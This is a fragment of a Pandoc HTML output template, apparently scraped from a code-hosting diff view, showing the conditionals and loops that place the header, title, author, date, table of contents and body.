$endfor$ |
||||
$if(math)$ |
||||
$math$ |
||||
$endif$ |
||||
$for(header-includes)$ |
||||
$header-includes$ |
||||
$endfor$ |
||||
</head> |
||||
<body> |
||||
$for(include-before)$ |
||||
$include-before$ |
||||
$endfor$ |
||||
$if(title)$ |
||||
<div id="$idprefix$header"> |
||||
<h1 class="title">$title$</h1> |
||||
$if(subtitle)$ |
||||
<h1 class="subtitle">$subtitle$</h1> |
||||
$endif$ |
||||
$for(author)$ |
||||
<h2 class="author">$author$</h2> |
||||
$endfor$ |
||||
$if(date)$ |
||||
<h3 class="date">$date$</h3> |
||||
$endif$ |
||||
</div> |
||||
$endif$ |
||||
$if(toc)$ |
||||
<div id="$idprefix$TOC"> |
||||
$toc$ |
||||
</div> |
||||
$endif$ |
||||
$body$ |
||||
$for(include-after)$ |
||||
$include-after$ |
||||
$endfor$ |
||||
</body> |
||||
</html> |
Loading…
Reference in new issue